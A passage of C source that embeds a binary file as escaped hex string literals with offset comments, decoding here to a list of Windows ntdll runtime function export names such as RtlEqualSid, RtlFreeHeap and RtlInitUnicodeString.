"\x6D\x65\x00\x52\x74\x6C\x45\x71\x75\x61\x6C\x4C\x75\x69\x64\x00" //me.RtlEqualLuid. /* 00C060 */ "\x52\x74\x6C\x45\x71\x75\x61\x6C\x50\x72\x65\x66\x69\x78\x53\x69" //RtlEqualPrefixSi /* 00C080 */ "\x64\x00\x52\x74\x6C\x45\x71\x75\x61\x6C\x53\x69\x64\x00\x52\x74" //d.RtlEqualSid.Rt /* 00C0A0 */ "\x6C\x45\x71\x75\x61\x6C\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C" //lEqualString.Rtl /* 00C0C0 */ "\x45\x71\x75\x61\x6C\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69" //EqualUnicodeStri /* 00C0E0 */ "\x6E\x67\x00\x52\x74\x6C\x45\x72\x61\x73\x65\x55\x6E\x69\x63\x6F" //ng.RtlEraseUnico /* 00C100 */ "\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x45\x78\x69\x74" //deString.RtlExit /* 00C120 */ "\x55\x73\x65\x72\x54\x68\x72\x65\x61\x64\x00\x52\x74\x6C\x45\x78" //UserThread.RtlEx /* 00C140 */ "\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53" //pandEnvironmentS /* 00C160 */ "\x74\x72\x69\x6E\x67\x73\x5F\x55\x00\x52\x74\x6C\x45\x78\x74\x65" //trings_U.RtlExte /* 00C180 */ "\x6E\x64\x48\x65\x61\x70\x00\x52\x74\x6C\x45\x78\x74\x65\x6E\x64" //ndHeap.RtlExtend /* 00C1A0 */ "\x65\x64\x49\x6E\x74\x65\x67\x65\x72\x4D\x75\x6C\x74\x69\x70\x6C" //edIntegerMultipl /* 00C1C0 */ "\x79\x00\x52\x74\x6C\x45\x78\x74\x65\x6E\x64\x65\x64\x4C\x61\x72" //y.RtlExtendedLar /* 00C1E0 */ "\x67\x65\x49\x6E\x74\x65\x67\x65\x72\x44\x69\x76\x69\x64\x65\x00" //geIntegerDivide. /* 00C200 */ "\x52\x74\x6C\x45\x78\x74\x65\x6E\x64\x65\x64\x4D\x61\x67\x69\x63" //RtlExtendedMagic /* 00C220 */ "\x44\x69\x76\x69\x64\x65\x00\x52\x74\x6C\x46\x69\x6C\x6C\x4D\x65" //Divide.RtlFillMe /* 00C240 */ "\x6D\x6F\x72\x79\x00\x52\x74\x6C\x46\x69\x6C\x6C\x4D\x65\x6D\x6F" //mory.RtlFillMemo /* 00C260 */ "\x72\x79\x55\x6C\x6F\x6E\x67\x00\x52\x74\x6C\x46\x69\x6E\x61\x6C" //ryUlong.RtlFinal /* 00C280 */ "\x52\x65\x6C\x65\x61\x73\x65\x4F\x75\x74\x4F\x66\x50\x72\x6F\x63" //ReleaseOutOfProc /* 00C2A0 */ "\x65\x73\x73\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x00" //essMemoryStream. /* 00C2C0 */ "\x52\x74\x6C\x46\x69\x6E\x64\x41\x63\x74\x69\x76\x61\x74\x69\x6F" //RtlFindActivatio /* 00C2E0 */ "\x6E\x43\x6F\x6E\x74\x65\x78\x74\x53\x65\x63\x74\x69\x6F\x6E\x47" //nContextSectionG /* 00C300 */ "\x75\x69\x64\x00\x52\x74\x6C\x46\x69\x6E\x64\x41\x63\x74\x69\x76" //uid.RtlFindActiv /* 00C320 */ "\x61\x74\x69\x6F\x6E\x43\x6F\x6E\x74\x65\x78\x74\x53\x65\x63\x74" //ationContextSect /* 00C340 */ "\x69\x6F\x6E\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x46\x69\x6E" //ionString.RtlFin /* 00C360 */ "\x64\x43\x68\x61\x72\x49\x6E\x55\x6E\x69\x63\x6F\x64\x65\x53\x74" //dCharInUnicodeSt /* 00C380 */ "\x72\x69\x6E\x67\x00\x52\x74\x6C\x46\x69\x6E\x64\x43\x6C\x65\x61" //ring.RtlFindClea /* 00C3A0 */ "\x72\x42\x69\x74\x73\x00\x52\x74\x6C\x46\x69\x6E\x64\x43\x6C\x65" //rBits.RtlFindCle /* 00C3C0 */ "\x61\x72\x42\x69\x74\x73\x41\x6E\x64\x53\x65\x74\x00\x52\x74\x6C" //arBitsAndSet.Rtl /* 00C3E0 */ "\x46\x69\x6E\x64\x43\x6C\x65\x61\x72\x52\x75\x6E\x73\x00\x52\x74" //FindClearRuns.Rt /* 00C400 */ "\x6C\x46\x69\x6E\x64\x4C\x61\x73\x74\x42\x61\x63\x6B\x77\x61\x72" //lFindLastBackwar /* 00C420 */ "\x64\x52\x75\x6E\x43\x6C\x65\x61\x72\x00\x52\x74\x6C\x46\x69\x6E" //dRunClear.RtlFin /* 00C440 */ "\x64\x4C\x65\x61\x73\x74\x53\x69\x67\x6E\x69\x66\x69\x63\x61\x6E" //dLeastSignifican /* 00C460 */ "\x74\x42\x69\x74\x00\x52\x74\x6C\x46\x69\x6E\x64\x4C\x6F\x6E\x67" //tBit.RtlFindLong /* 00C480 */ "\x65\x73\x74\x52\x75\x6E\x43\x6C\x65\x61\x72\x00\x52\x74\x6C\x46" //estRunClear.RtlF /* 00C4A0 */ "\x69\x6E\x64\x4D\x65\x73\x73\x61\x67\x65\x00\x52\x74\x6C\x46\x69" //indMessage.RtlFi /* 00C4C0 */ "\x6E\x64\x4D\x6F\x73\x74\x53\x69\x67\x6E\x69\x66\x69\x63\x61\x6E" //ndMostSignifican /* 00C4E0 */ "\x74\x42\x69\x74\x00\x52\x74\x6C\x46\x69\x6E\x64\x4E\x65\x78\x74" //tBit.RtlFindNext /* 00C500 */ "\x46\x6F\x72\x77\x61\x72\x64\x52\x75\x6E\x43\x6C\x65\x61\x72\x00" //ForwardRunClear. /* 00C520 */ "\x52\x74\x6C\x46\x69\x6E\x64\x52\x61\x6E\x67\x65\x00\x52\x74\x6C" //RtlFindRange.Rtl /* 00C540 */ "\x46\x69\x6E\x64\x53\x65\x74\x42\x69\x74\x73\x00\x52\x74\x6C\x46" //FindSetBits.RtlF /* 00C560 */ "\x69\x6E\x64\x53\x65\x74\x42\x69\x74\x73\x41\x6E\x64\x43\x6C\x65" //indSetBitsAndCle /* 00C580 */ "\x61\x72\x00\x52\x74\x6C\x46\x69\x72\x73\x74\x45\x6E\x74\x72\x79" //ar.RtlFirstEntry /* 00C5A0 */ "\x53\x4C\x69\x73\x74\x00\x52\x74\x6C\x46\x69\x72\x73\x74\x46\x72" //SList.RtlFirstFr /* 00C5C0 */ "\x65\x65\x41\x63\x65\x00\x52\x74\x6C\x46\x6C\x75\x73\x68\x53\x65" //eeAce.RtlFlushSe /* 00C5E0 */ "\x63\x75\x72\x65\x4D\x65\x6D\x6F\x72\x79\x43\x61\x63\x68\x65\x00" //cureMemoryCache. /* 00C600 */ "\x52\x74\x6C\x46\x6F\x72\x6D\x61\x74\x43\x75\x72\x72\x65\x6E\x74" //RtlFormatCurrent /* 00C620 */ "\x55\x73\x65\x72\x4B\x65\x79\x50\x61\x74\x68\x00\x52\x74\x6C\x46" //UserKeyPath.RtlF /* 00C640 */ "\x6F\x72\x6D\x61\x74\x4D\x65\x73\x73\x61\x67\x65\x00\x52\x74\x6C" //ormatMessage.Rtl /* 00C660 */ "\x46\x72\x65\x65\x41\x6E\x73\x69\x53\x74\x72\x69\x6E\x67\x00\x52" //FreeAnsiString.R /* 00C680 */ "\x74\x6C\x46\x72\x65\x65\x48\x61\x6E\x64\x6C\x65\x00\x52\x74\x6C" //tlFreeHandle.Rtl /* 00C6A0 */ "\x46\x72\x65\x65\x48\x65\x61\x70\x00\x52\x74\x6C\x46\x72\x65\x65" //FreeHeap.RtlFree /* 00C6C0 */ "\x4F\x65\x6D\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x46\x72\x65" //OemString.RtlFre /* 00C6E0 */ "\x65\x52\x61\x6E\x67\x65\x4C\x69\x73\x74\x00\x52\x74\x6C\x46\x72" //eRangeList.RtlFr /* 00C700 */ "\x65\x65\x53\x69\x64\x00\x52\x74\x6C\x46\x72\x65\x65\x54\x68\x72" //eeSid.RtlFreeThr /* 00C720 */ "\x65\x61\x64\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x43\x6F\x6E" //eadActivationCon /* 00C740 */ "\x74\x65\x78\x74\x53\x74\x61\x63\x6B\x00\x52\x74\x6C\x46\x72\x65" //textStack.RtlFre /* 00C760 */ "\x65\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52" //eUnicodeString.R /* 00C780 */ "\x74\x6C\x46\x72\x65\x65\x55\x73\x65\x72\x54\x68\x72\x65\x61\x64" //tlFreeUserThread /* 00C7A0 */ "\x53\x74\x61\x63\x6B\x00\x52\x74\x6C\x47\x55\x49\x44\x46\x72\x6F" //Stack.RtlGUIDFro /* 00C7C0 */ "\x6D\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x47\x65\x6E\x65\x72" //mString.RtlGener /* 00C7E0 */ "\x61\x74\x65\x38\x64\x6F\x74\x33\x4E\x61\x6D\x65\x00\x52\x74\x6C" //ate8dot3Name.Rtl /* 00C800 */ "\x47\x65\x74\x41\x63\x65\x00\x52\x74\x6C\x47\x65\x74\x41\x63\x74" //GetAce.RtlGetAct /* 00C820 */ "\x69\x76\x65\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x43\x6F\x6E" //iveActivationCon /* 00C840 */ "\x74\x65\x78\x74\x00\x52\x74\x6C\x47\x65\x74\x43\x61\x6C\x6C\x65" //text.RtlGetCalle /* 00C860 */ "\x72\x73\x41\x64\x64\x72\x65\x73\x73\x00\x52\x74\x6C\x47\x65\x74" //rsAddress.RtlGet /* 00C880 */ "\x43\x6F\x6D\x70\x72\x65\x73\x73\x69\x6F\x6E\x57\x6F\x72\x6B\x53" //CompressionWorkS /* 00C8A0 */ "\x70\x61\x63\x65\x53\x69\x7A\x65\x00\x52\x74\x6C\x47\x65\x74\x43" //paceSize.RtlGetC /* 00C8C0 */ "\x6F\x6E\x74\x72\x6F\x6C\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65" //ontrolSecurityDe /* 00C8E0 */ "\x73\x63\x72\x69\x70\x74\x6F\x72\x00\x52\x74\x6C\x47\x65\x74\x43" //scriptor.RtlGetC /* 00C900 */ "\x75\x72\x72\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x5F" //urrentDirectory_ /* 00C920 */ "\x55\x00\x52\x74\x6C\x47\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x50" //U.RtlGetCurrentP /* 00C940 */ "\x65\x62\x00\x52\x74\x6C\x47\x65\x74\x44\x61\x63\x6C\x53\x65\x63" //eb.RtlGetDaclSec /* 00C960 */ "\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x00" //urityDescriptor. /* 00C980 */ "\x52\x74\x6C\x47\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x47\x65\x6E" //RtlGetElementGen /* 00C9A0 */ "\x65\x72\x69\x63\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x47\x65\x74" //ericTable.RtlGet /* 00C9C0 */ "\x45\x6C\x65\x6D\x65\x6E\x74\x47\x65\x6E\x65\x72\x69\x63\x54\x61" //ElementGenericTa /* 00C9E0 */ "\x62\x6C\x65\x41\x76\x6C\x00\x52\x74\x6C\x47\x65\x74\x46\x69\x72" //bleAvl.RtlGetFir /* 00CA00 */ "\x73\x74\x52\x61\x6E\x67\x65\x00\x52\x74\x6C\x47\x65\x74\x46\x72" //stRange.RtlGetFr /* 00CA20 */ "\x61\x6D\x65\x00\x52\x74\x6C\x47\x65\x74\x46\x75\x6C\x6C\x50\x61" //ame.RtlGetFullPa /* 00CA40 */ "\x74\x68\x4E\x61\x6D\x65\x5F\x55\x00\x52\x74\x6C\x47\x65\x74\x47" //thName_U.RtlGetG /* 00CA60 */ "\x72\x6F\x75\x70\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63" //roupSecurityDesc /* 00CA80 */ "\x72\x69\x70\x74\x6F\x72\x00\x52\x74\x6C\x47\x65\x74\x4C\x61\x73" //riptor.RtlGetLas /* 00CAA0 */ "\x74\x4E\x74\x53\x74\x61\x74\x75\x73\x00\x52\x74\x6C\x47\x65\x74" //tNtStatus.RtlGet /* 00CAC0 */ "\x4C\x61\x73\x74\x57\x69\x6E\x33\x32\x45\x72\x72\x6F\x72\x00\x52" //LastWin32Error.R /* 00CAE0 */ "\x74\x6C\x47\x65\x74\x4C\x65\x6E\x67\x74\x68\x57\x69\x74\x68\x6F" //tlGetLengthWitho /* 00CB00 */ "\x75\x74\x4C\x61\x73\x74\x46\x75\x6C\x6C\x44\x6F\x73\x4F\x72\x4E" //utLastFullDosOrN /* 00CB20 */ "\x74\x50\x61\x74\x68\x45\x6C\x65\x6D\x65\x6E\x74\x00\x52\x74\x6C" //tPathElement.Rtl /* 00CB40 */ "\x47\x65\x74\x4C\x65\x6E\x67\x74\x68\x57\x69\x74\x68\x6F\x75\x74" //GetLengthWithout /* 00CB60 */ "\x54\x72\x61\x69\x6C\x69\x6E\x67\x50\x61\x74\x68\x53\x65\x70\x65" //TrailingPathSepe /* 00CB80 */ "\x72\x61\x74\x6F\x72\x73\x00\x52\x74\x6C\x47\x65\x74\x4C\x6F\x6E" //rators.RtlGetLon /* 00CBA0 */ "\x67\x65\x73\x74\x4E\x74\x50\x61\x74\x68\x4C\x65\x6E\x67\x74\x68" //gestNtPathLength /* 00CBC0 */ "\x00\x52\x74\x6C\x47\x65\x74\x4E\x61\x74\x69\x76\x65\x53\x79\x73" //.RtlGetNativeSys /* 00CBE0 */ "\x74\x65\x6D\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x52" //temInformation.R /* 00CC00 */ "\x74\x6C\x47\x65\x74\x4E\x65\x78\x74\x52\x61\x6E\x67\x65\x00\x52" //tlGetNextRange.R /* 00CC20 */ "\x74\x6C\x47\x65\x74\x4E\x74\x47\x6C\x6F\x62\x61\x6C\x46\x6C\x61" //tlGetNtGlobalFla /* 00CC40 */ "\x67\x73\x00\x52\x74\x6C\x47\x65\x74\x4E\x74\x50\x72\x6F\x64\x75" //gs.RtlGetNtProdu /* 00CC60 */ "\x63\x74\x54\x79\x70\x65\x00\x52\x74\x6C\x47\x65\x74\x4E\x74\x56" //ctType.RtlGetNtV /* 00CC80 */ "\x65\x72\x73\x69\x6F\x6E\x4E\x75\x6D\x62\x65\x72\x73\x00\x52\x74" //ersionNumbers.Rt /* 00CCA0 */ "\x6C\x47\x65\x74\x4F\x77\x6E\x65\x72\x53\x65\x63\x75\x72\x69\x74" //lGetOwnerSecurit /* 00CCC0 */ "\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x00\x52\x74\x6C\x47" //yDescriptor.RtlG /* 00CCE0 */ "\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x48\x65\x61\x70\x73\x00\x52" //etProcessHeaps.R /* 00CD00 */ "\x74\x6C\x47\x65\x74\x53\x61\x63\x6C\x53\x65\x63\x75\x72\x69\x74" //tlGetSaclSecurit /* 00CD20 */ "\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x00\x52\x74\x6C\x47" //yDescriptor.RtlG /* 00CD40 */ "\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69" //etSecurityDescri /* 00CD60 */ "\x70\x74\x6F\x72\x52\x4D\x43\x6F\x6E\x74\x72\x6F\x6C\x00\x52\x74" //ptorRMControl.Rt /* 00CD80 */ "\x6C\x47\x65\x74\x53\x65\x74\x42\x6F\x6F\x74\x53\x74\x61\x74\x75" //lGetSetBootStatu /* 00CDA0 */ "\x73\x44\x61\x74\x61\x00\x52\x74\x6C\x47\x65\x74\x55\x6E\x6C\x6F" //sData.RtlGetUnlo /* 00CDC0 */ "\x61\x64\x45\x76\x65\x6E\x74\x54\x72\x61\x63\x65\x00\x52\x74\x6C" //adEventTrace.Rtl /* 00CDE0 */ "\x47\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F\x48\x65\x61\x70\x00" //GetUserInfoHeap. /* 00CE00 */ "\x52\x74\x6C\x47\x65\x74\x56\x65\x72\x73\x69\x6F\x6E\x00\x52\x74" //RtlGetVersion.Rt /* 00CE20 */ "\x6C\x48\x61\x73\x68\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69" //lHashUnicodeStri /* 00CE40 */ "\x6E\x67\x00\x52\x74\x6C\x49\x64\x65\x6E\x74\x69\x66\x69\x65\x72" //ng.RtlIdentifier /* 00CE60 */ "\x41\x75\x74\x68\x6F\x72\x69\x74\x79\x53\x69\x64\x00\x52\x74\x6C" //AuthoritySid.Rtl /* 00CE80 */ "\x49\x6D\x61\x67\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x45\x6E" //ImageDirectoryEn /* 00CEA0 */ "\x74\x72\x79\x54\x6F\x44\x61\x74\x61\x00\x52\x74\x6C\x49\x6D\x61" //tryToData.RtlIma /* 00CEC0 */ "\x67\x65\x4E\x74\x48\x65\x61\x64\x65\x72\x00\x52\x74\x6C\x49\x6D" //geNtHeader.RtlIm /* 00CEE0 */ "\x61\x67\x65\x52\x76\x61\x54\x6F\x53\x65\x63\x74\x69\x6F\x6E\x00" //ageRvaToSection. /* 00CF00 */ "\x52\x74\x6C\x49\x6D\x61\x67\x65\x52\x76\x61\x54\x6F\x56\x61\x00" //RtlImageRvaToVa. /* 00CF20 */ "\x52\x74\x6C\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x53\x65" //RtlImpersonateSe /* 00CF40 */ "\x6C\x66\x00\x52\x74\x6C\x49\x6E\x69\x74\x41\x6E\x73\x69\x53\x74" //lf.RtlInitAnsiSt /* 00CF60 */ "\x72\x69\x6E\x67\x00\x52\x74\x6C\x49\x6E\x69\x74\x43\x6F\x64\x65" //ring.RtlInitCode /* 00CF80 */ "\x50\x61\x67\x65\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x49\x6E\x69" //PageTable.RtlIni /* 00CFA0 */ "\x74\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x00\x52\x74" //tMemoryStream.Rt /* 00CFC0 */ "\x6C\x49\x6E\x69\x74\x4E\x6C\x73\x54\x61\x62\x6C\x65\x73\x00\x52" //lInitNlsTables.R /* 00CFE0 */ "\x74\x6C\x49\x6E\x69\x74\x4F\x75\x74\x4F\x66\x50\x72\x6F\x63\x65" //tlInitOutOfProce /* 00D000 */ "\x73\x73\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x00\x52" //ssMemoryStream.R /* 00D020 */ "\x74\x6C\x49\x6E\x69\x74\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C" //tlInitString.Rtl /* 00D040 */ "\x49\x6E\x69\x74\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E" //InitUnicodeStrin /* 00D060 */ "\x67\x00\x52\x74\x6C\x49\x6E\x69\x74\x55\x6E\x69\x63\x6F\x64\x65" //g.RtlInitUnicode /* 00D080 */ "\x53\x74\x72\x69\x6E\x67\x45\x78\x00\x52\x74\x6C\x49\x6E\x69\x74" //StringEx.RtlInit /* 00D0A0 */ "\x69\x61\x6C\x69\x7A\x65\x41\x74\x6F\x6D\x50\x61\x63\x6B\x61\x67" //ializeAtomPackag /* 00D0C0 */ "\x65\x00\x52\x74\x6C\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x42" //e.RtlInitializeB /* 00D0E0 */ "\x69\x74\x4D\x61\x70\x00\x52\x74\x6C\x49\x6E\x69\x74\x69\x61\x6C" //itMap.RtlInitial /* 00D100 */ "\x69\x7A\x65\x43\x6F\x6E\x74\x65\x78\x74\x00\x52\x74\x6C\x49\x6E" //izeContext.RtlIn /* 00D120 */ "\x69\x74\x69\x61\x6C\x69\x7A\x65\x43\x72\x69\x74\x69\x63\x61\x6C" //itializeCritical /* 00D140 */ "\x53\x65\x63\x74\x69\x6F\x6E\x00\x52\x74\x6C\x49\x6E\x69\x74\x69" //Section.RtlIniti /* 00D160 */ "\x61\x6C\x69\x7A\x65\x43\x72\x69\x74\x69\x63\x61\x6C\x53\x65\x63" //alizeCriticalSec /* 00D180 */ "\x74\x69\x6F\x6E\x41\x6E\x64\x53\x70\x69\x6E\x43\x6F\x75\x6E\x74" //tionAndSpinCount /* 00D1A0 */ "\x00\x52\x74\x6C\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x47\x65" //.RtlInitializeGe /* 00D1C0 */ "\x6E\x65\x72\x69\x63\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x49\x6E" //nericTable.RtlIn /* 00D1E0 */ "\x69\x74\x69\x61\x6C\x69\x7A\x65\x47\x65\x6E\x65\x72\x69\x63\x54" //itializeGenericT /* 00D200 */ "\x61\x62\x6C\x65\x41\x76\x6C\x00\x52\x74\x6C\x49\x6E\x69\x74\x69" //ableAvl.RtlIniti /* 00D220 */ "\x61\x6C\x69\x7A\x65\x48\x61\x6E\x64\x6C\x65\x54\x61\x62\x6C\x65" //alizeHandleTable /* 00D240 */ "\x00\x52\x74\x6C\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x52\x58" //.RtlInitializeRX /* 00D260 */ "\x61\x63\x74\x00\x52\x74\x6C\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A" //act.RtlInitializ /* 00D280 */ "\x65\x52\x61\x6E\x67\x65\x4C\x69\x73\x74\x00\x52\x74\x6C\x49\x6E" //eRangeList.RtlIn /* 00D2A0 */ "\x69\x74\x69\x61\x6C\x69\x7A\x65\x52\x65\x73\x6F\x75\x72\x63\x65" //itializeResource /* 00D2C0 */ "\x00\x52\x74\x6C\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x53\x4C" //.RtlInitializeSL /* 00D2E0 */ "\x69\x73\x74\x48\x65\x61\x64\x00\x52\x74\x6C\x49\x6E\x69\x74\x69" //istHead.RtlIniti /* 00D300 */ "\x61\x6C\x69\x7A\x65\x53\x69\x64\x00\x52\x74\x6C\x49\x6E\x69\x74" //alizeSid.RtlInit /* 00D320 */ "\x69\x61\x6C\x69\x7A\x65\x53\x74\x61\x63\x6B\x54\x72\x61\x63\x65" //ializeStackTrace /* 00D340 */ "\x44\x61\x74\x61\x42\x61\x73\x65\x00\x52\x74\x6C\x49\x6E\x73\x65" //DataBase.RtlInse /* 00D360 */ "\x72\x74\x45\x6C\x65\x6D\x65\x6E\x74\x47\x65\x6E\x65\x72\x69\x63" //rtElementGeneric /* 00D380 */ "\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x49\x6E\x73\x65\x72\x74\x45" //Table.RtlInsertE /* 00D3A0 */ "\x6C\x65\x6D\x65\x6E\x74\x47\x65\x6E\x65\x72\x69\x63\x54\x61\x62" //lementGenericTab /* 00D3C0 */ "\x6C\x65\x41\x76\x6C\x00\x52\x74\x6C\x49\x6E\x74\x36\x34\x54\x6F" //leAvl.RtlInt64To /* 00D3E0 */ "\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74" //UnicodeString.Rt /* 00D400 */ "\x6C\x49\x6E\x74\x65\x67\x65\x72\x54\x6F\x43\x68\x61\x72\x00\x52" //lIntegerToChar.R /* 00D420 */ "\x74\x6C\x49\x6E\x74\x65\x67\x65\x72\x54\x6F\x55\x6E\x69\x63\x6F" //tlIntegerToUnico /* 00D440 */ "\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x49\x6E\x74\x65" //deString.RtlInte /* 00D460 */ "\x72\x6C\x6F\x63\x6B\x65\x64\x46\x6C\x75\x73\x68\x53\x4C\x69\x73" //rlockedFlushSLis /* 00D480 */ "\x74\x00\x52\x74\x6C\x49\x6E\x74\x65\x72\x6C\x6F\x63\x6B\x65\x64" //t.RtlInterlocked /* 00D4A0 */ "\x50\x6F\x70\x45\x6E\x74\x72\x79\x53\x4C\x69\x73\x74\x00\x52\x74" //PopEntrySList.Rt /* 00D4C0 */ "\x6C\x49\x6E\x74\x65\x72\x6C\x6F\x63\x6B\x65\x64\x50\x75\x73\x68" //lInterlockedPush /* 00D4E0 */ "\x45\x6E\x74\x72\x79\x53\x4C\x69\x73\x74\x00\x52\x74\x6C\x49\x6E" //EntrySList.RtlIn /* 00D500 */ "\x74\x65\x72\x6C\x6F\x63\x6B\x65\x64\x50\x75\x73\x68\x4C\x69\x73" //terlockedPushLis /* 00D520 */ "\x74\x53\x4C\x69\x73\x74\x00\x52\x74\x6C\x49\x6E\x76\x65\x72\x74" //tSList.RtlInvert /* 00D540 */ "\x52\x61\x6E\x67\x65\x4C\x69\x73\x74\x00\x52\x74\x6C\x49\x70\x76" //RangeList.RtlIpv /* 00D560 */ "\x34\x41\x64\x64\x72\x65\x73\x73\x54\x6F\x53\x74\x72\x69\x6E\x67" //4AddressToString /* 00D580 */ "\x41\x00\x52\x74\x6C\x49\x70\x76\x34\x41\x64\x64\x72\x65\x73\x73" //A.RtlIpv4Address /* 00D5A0 */ "\x54\x6F\x53\x74\x72\x69\x6E\x67\x45\x78\x41\x00\x52\x74\x6C\x49" //ToStringExA.RtlI /* 00D5C0 */ "\x70\x76\x34\x41\x64\x64\x72\x65\x73\x73\x54\x6F\x53\x74\x72\x69" //pv4AddressToStri /* 00D5E0 */ "\x6E\x67\x45\x78\x57\x00\x52\x74\x6C\x49\x70\x76\x34\x41\x64\x64" //ngExW.RtlIpv4Add /* 00D600 */ "\x72\x65\x73\x73\x54\x6F\x53\x74\x72\x69\x6E\x67\x57\x00\x52\x74" //ressToStringW.Rt /* 00D620 */ "\x6C\x49\x70\x76\x34\x53\x74\x72\x69\x6E\x67\x54\x6F\x41\x64\x64" //lIpv4StringToAdd /* 00D640 */ "\x72\x65\x73\x73\x41\x00\x52\x74\x6C\x49\x70\x76\x34\x53\x74\x72" //ressA.RtlIpv4Str /* 00D660 */ "\x69\x6E\x67\x54\x6F\x41\x64\x64\x72\x65\x73\x73\x45\x78\x41\x00" //ingToAddressExA. /* 00D680 */ "\x52\x74\x6C\x49\x70\x76\x34\x53\x74\x72\x69\x6E\x67\x54\x6F\x41" //RtlIpv4StringToA /* 00D6A0 */ "\x64\x64\x72\x65\x73\x73\x45\x78\x57\x00\x52\x74\x6C\x49\x70\x76" //ddressExW.RtlIpv /* 00D6C0 */ "\x34\x53\x74\x72\x69\x6E\x67\x54\x6F\x41\x64\x64\x72\x65\x73\x73" //4StringToAddress /* 00D6E0 */ "\x57\x00\x52\x74\x6C\x49\x70\x76\x36\x41\x64\x64\x72\x65\x73\x73" //W.RtlIpv6Address /* 00D700 */ "\x54\x6F\x53\x74\x72\x69\x6E\x67\x41\x00\x52\x74\x6C\x49\x70\x76" //ToStringA.RtlIpv /* 00D720 */ "\x36\x41\x64\x64\x72\x65\x73\x73\x54\x6F\x53\x74\x72\x69\x6E\x67" //6AddressToString /* 00D740 */ "\x45\x78\x41\x00\x52\x74\x6C\x49\x70\x76\x36\x41\x64\x64\x72\x65" //ExA.RtlIpv6Addre /* 00D760 */ "\x73\x73\x54\x6F\x53\x74\x72\x69\x6E\x67\x45\x78\x57\x00\x52\x74" //ssToStringExW.Rt /* 00D780 */ "\x6C\x49\x70\x76\x36\x41\x64\x64\x72\x65\x73\x73\x54\x6F\x53\x74" //lIpv6AddressToSt /* 00D7A0 */ "\x72\x69\x6E\x67\x57\x00\x52\x74\x6C\x49\x70\x76\x36\x53\x74\x72" //ringW.RtlIpv6Str /* 00D7C0 */ "\x69\x6E\x67\x54\x6F\x41\x64\x64\x72\x65\x73\x73\x41\x00\x52\x74" //ingToAddressA.Rt /* 00D7E0 */ "\x6C\x49\x70\x76\x36\x53\x74\x72\x69\x6E\x67\x54\x6F\x41\x64\x64" //lIpv6StringToAdd /* 00D800 */ "\x72\x65\x73\x73\x45\x78\x41\x00\x52\x74\x6C\x49\x70\x76\x36\x53" //ressExA.RtlIpv6S /* 00D820 */ "\x74\x72\x69\x6E\x67\x54\x6F\x41\x64\x64\x72\x65\x73\x73\x45\x78" //tringToAddressEx /* 00D840 */ "\x57\x00\x52\x74\x6C\x49\x70\x76\x36\x53\x74\x72\x69\x6E\x67\x54" //W.RtlIpv6StringT /* 00D860 */ "\x6F\x41\x64\x64\x72\x65\x73\x73\x57\x00\x52\x74\x6C\x49\x73\x41" //oAddressW.RtlIsA /* 00D880 */ "\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x43\x6F\x6E\x74\x65\x78\x74" //ctivationContext /* 00D8A0 */ "\x41\x63\x74\x69\x76\x65\x00\x52\x74\x6C\x49\x73\x44\x6F\x73\x44" //Active.RtlIsDosD /* 00D8C0 */ "\x65\x76\x69\x63\x65\x4E\x61\x6D\x65\x5F\x55\x00\x52\x74\x6C\x49" //eviceName_U.RtlI /* 00D8E0 */ "\x73\x47\x65\x6E\x65\x72\x69\x63\x54\x61\x62\x6C\x65\x45\x6D\x70" //sGenericTableEmp /* 00D900 */ "\x74\x79\x00\x52\x74\x6C\x49\x73\x47\x65\x6E\x65\x72\x69\x63\x54" //ty.RtlIsGenericT /* 00D920 */ "\x61\x62\x6C\x65\x45\x6D\x70\x74\x79\x41\x76\x6C\x00\x52\x74\x6C" //ableEmptyAvl.Rtl /* 00D940 */ "\x49\x73\x4E\x61\x6D\x65\x4C\x65\x67\x61\x6C\x44\x4F\x53\x38\x44" //IsNameLegalDOS8D /* 00D960 */ "\x6F\x74\x33\x00\x52\x74\x6C\x49\x73\x52\x61\x6E\x67\x65\x41\x76" 